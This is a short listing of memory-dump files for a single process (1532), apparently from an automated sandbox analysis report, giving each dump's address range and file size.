memory/1532-100-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-102-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-101-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-103-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-104-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-55-0x0000000070F41000-0x0000000070F43000-memory.dmpFilesize
8KB
-
memory/1532-54-0x000000002F371000-0x000000002F374000-memory.dmpFilesize
12KB
-
memory/1532-105-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-106-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-107-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-108-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-109-0x000000000055F000-0x0000000000563000-memory.dmpFilesize
16KB
-
memory/1532-120-0x0000000071F2D000-0x0000000071F38000-memory.dmpFilesize
44KB
-
memory/1532-121-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1532-122-0x0000000071F2D000-0x0000000071F38000-memory.dmpFilesize
44KB